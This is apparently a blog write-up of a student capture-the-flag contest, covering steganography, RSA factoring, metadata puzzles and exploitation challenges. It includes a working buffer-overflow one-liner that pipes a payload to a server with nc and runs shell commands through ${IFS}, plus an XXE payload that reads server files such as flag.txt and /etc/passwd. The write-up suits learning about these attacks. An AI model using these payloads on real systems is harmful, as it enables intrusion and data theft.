TSS CTF @ Polhacks - Writeups
I'm usually not really one to do CTF's except for maybe the one Master Boot Record made for their album release, that was pretty...eh..cool! So I went into this one with the aim to mostly take a look; well, before the competitive side of me kicked in. Without further ado, here's a tiny write-up of some of the challenges at Team Steam Stream's CTF at Polhacks!
Challenges
I_SPY

I'll begin with my biggest takeaway (and the challenge that I'm pretty embarrassed about). The story went something like this. I started with trying different steganography tools, looking around in bit planes, etc. What should I have done? Used a magnifying glass!
The flag: TSS{d0_y0u_Ev3n_z00m}
(apparently I don't ev3n z00m!)
What sort?

This is one of the challenges that only my team solved. As with the other ones, the clue really was in the title, but yet, that doesn't make it much easier.
We were given a PNG image with colored noise. I began with my usual steps, zsteg
, looking at the different color planes but to no avail. The only thing that stood out was that the histogram didn't have a normal distribution.
I have previously done a bunch of reading about detecting steganography when writing an essay for a course in cryptology. The histogram did show some of the telltale signs of using LSB stego in JPEG images, but this wasn't a JPEG. Quite the red herring as I spent a fair amount of time on it!
I then took a step back and returned to trying to sort the image, but the question remained - how?

In a fit of desperation I started writing random sorting functions, and whoops, I found the flag! It appeared when sorting by (exclusively) the blue color values!
from PIL import Image
def sort(elem):
return elem[2]
if __name__ == '__main__':
img = Image.open('./what_sort.png')
in_pixels = list(img.getdata())
out_pixels = list()
for i in range(len(in_pixels)):
r = in_pixels[i][0]
g = in_pixels[i][1]
b = in_pixels[i][2]
out_pixels.append((r,g,b))
out = Image.new(img.mode, img.size)
out.putdata(sorted(out_pixels, key=sort))
out.save("output.png", "PNG")

The flag: TSS{0ne_sh4d3_0F_Ev3rYTh1nG}
No Problems
Another fun challenge was a buffer overflow in a tiny program. Both the code and a compiled version were given, and an ip to a server that ran it.
static struct {
char name[32];
func_ptr welcome_func;
} user = {"", welcome};
int main(int argc, char **argv) {
printf("Enter your name: ");
fflush(stdout); /* Force printing of text without newline */
scanf("%s", user.name);
user.welcome_func(user.name);
return 0;
}
By default, welcome_func
is called that prints Welcome %s!
, but there was another interesting function; one that calls system
and takes a char *
as an argument. Now it's just a question of calling it! For that we first need the pointer to the debug(char *)
. I used IDA since I left it open after solving another challenge, but a simple objdump -d
also does the trick!
000000000040064e <debug>:
40064e: 55 push %rbp
40064f: 48 89 e5 mov %rsp,%rbp
400652: 48 83 ec 10 sub $0x10,%rsp
...
Armed with the pointer to debug(char *)
, and the knowledge that the program uses scanf
with a 32 char buffer we can write the exploit!
$ python3 -c 'print("ls&&"+"a"*28 + "\x4e\x06\x40\x00\x00\x00\x00\x00")' | nc [redacted] 3402
Enter your name: bin
dev
etc
flag.txt
[...]
The flag is almost in our grasp! We just need to take another step, but here there's an issue; scanf
tokenizes based on spaces, so writing cat flag.txt
is a no-go. To our rescue - ${IFS}
!
python3 -c 'print("cat${IFS}flag.txt&&"+"a"*13 + "\x4e\x06\x40\x00\x00\x00\x00\x00")' | nc [redacted] 3402
Enter your name: TSS{oh_no_why_is_scanf_also_vulnerable}
[...]
Another flag is in the bag! TSS{oh_no_why_is_scanf_also_vulnerable}
The Great Library
Ouch this one took some time. The description of the challenge gave a link to a website called The Great Library. In it one could add books. Books were added via a form that sent XML via a POST request.

This time we worked as a team trying to find a way in. We went straight to trying sending different payloads to the book-adding endpoint. It was interesting since it seemed to parse the XML before sending it back. If everything was a-ok it sent back the same XML payload; if not, the same payload with Debug:
in front.
Parsing XML can be vulnerable to XXE, a great lead and probably the way to find the flag. Though, this was the point where it became a challenge. Most payloads worked, but it wasn't possible to list the directory contents, nor was it possible to use PHP or gain RCE. Essentially we could read files such as /etc/passwd
. They didn't contain anything interesting and didn't help finding the flag. At the verge of giving up after trying every (not really) combination of directory + flag.txt
path we stumbled upon /proc/self/cwd
. The path leads to the working directory of the calling process, maybe it contains the flag? And yes! It did!
data=
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///proc/self/cwd/flag.txt">
]>
<library >
<author>%26xxe;</author>
<book>steset</book>
<information>setes</information>
</library>
...
<author>TSS{XXE_is_3vil}</author>
...
Note, early on we missed that having an ampersand inside the XML block wouldn't work. The payload was sent as application/x-www-form-urlencoded
, meaning that ampersands start a new parameter. Easily fixed by url-encoding it!
Note (29-03-2021): It was also possible to just write flag.txt
instead of file:///...
!
The flag: TSS{XXE_is_3vil}

Baby RSA
Oooh boy, this one was fun! The challenge is a bit of Python code that grabs two 128bit primes, multiplies them together, and computes the flag to the power of the two primes modulo 0x10001
. But obviously, we don't get the flag!
>>> from Crypto.Util.number import *
>>> from secret import mb
>>> m = bytes_to_long(mb)
>>> p = getPrime(128)
>>> q = getPrime(128)
>>> n = p*q
>>> n
69586061906085540051574684541448305793082078794138892210351386386945396310889
>>> e = 0x10001
>>> c = pow(m, e, n)
>>> c
14457922847671015922822335630194367530081431673128686384494069860770793019523
The first step is that we need the primes. Since they are 128b it's pretty quick to just use brute force. To do it even more quickly I used YAFU to factorize it. In less than a second I had the primes. Not bad!
v1.34.5 @ starlight, System/Build Info:
detected Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz
===============================================================
======= Welcome to YAFU (Yet Another Factoring Utility) =======
===============================================================
>> factor(69586061906085540051574684541448305793082078794138892210351386386945396310889)
[...]
P39 = 330859484164582052492468774400104392613
P39 = 210319078752691261502818451033275924853
>>> c = 14457922847671015922822335630194367530081431673128686384494069860770793019523
>>> p = 210319078752691261502818451033275924853
>>> q = 330859484164582052492468774400104392613
>>> e = 0x10001
>>> N = p*q
>>> L = (p-1)*(q-1)
>>> d = pow(e, -1, L)
>>> m = pow(c,d,N)
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(m)
b'TSS{small_enough_to_factorize}'
And with that, another flag: TSS{small_enough_to_factorize}
IntelIssues
This one is tricky when you don't realize which metadata should be in a file, and how it should look. But when you do!
XMP Toolkit : Image::ExifTool 12.16
Rights : x**5 + -5453537b426a4f724e5f4d69734b346e4734747a * x**4 + 53565980d0a31083f7742f8136f152d0fc5ed6786a * x**3 + -1c49c7f44c62abd0c77c86770cf64d81b290ff7cddfc * x**2 + 393c314a5a127819ce9ea6a2f7fc9a378e69835c4afdd * x + -1823632ed7c74a64dec5f672c85e0993a0fbd436c893d2
Artist : TSS
The "Rights" field looks weird right? Because it is weird! Polynomials and stuff, things mathematicians do. Anywhoo! The next step is to solve it!
from sympy import symbols, solve
x = symbols('x')
expr = [that looooong polynomial]
sol = solve(expr)
for s in sol:
print(bin(s))
$ python .\solve.py
0b1001
0b1001101
0b1011010
0b101010001010011010100110111101101000010011010100100111101110010010011100101111101001101011010010111001101001011001101000110111001000111001101000111001101111101
The last one looks interesting, and it is, because it's the flag! Apparently, another team was playing around with the coefficients and got parts of the flag. Crazy stuff.
Flag: TSS{BjOrN_MisK4nG4s}
Other Challenges
There were quite a few more challenges, more that I have the patience, time, and space to write about extensively. Also, a few of the challenges were solved by my partner in crime, so I'll kept those out! But here's a quick summary:
- A GameBoy game and challenge called PewPew. The flag was hidden in an asset file and had to be reconstructed (I did it with Paint!). Got all the files by disassembling using
mgbdis
. - We Live in Random Times consisted of a text file encrypted using a one-time-pad seeded with time. Reversing it was a matter of brute force stepping back in time from the current time. Solved by my teammate after I gave up trying to get my code to work!
- Police Request - an image file containing a text file with excepts from Star Trek (woo!) and a Polhacks logo. Spent too much time on trying to find anything special there. Then used
binwalk
on the file instead. Got over 3GB of cat pictures. More importantly it indicated that there seemed to be PDF hidden. It didn't automatically extract it so a bit of manual cutting was necessary, but lo and behold! There was the flag. PS: I was rather terrified at the prospect of wading thru all those cat pictures looking for steganography.
Conclusion
CTF's seem fun and thanks to the people at Team Steam Stream that created the challenges and being super encouraging. I had a blast!
[0] Link to what_sort.png https://static.skyeto.dev/img/tssctf/what_sort.png
Changelog
29/03/2021 Added the Baby RSA challenge text.
29/03/2021 Added note on The Great Library that you could simply use flag.txt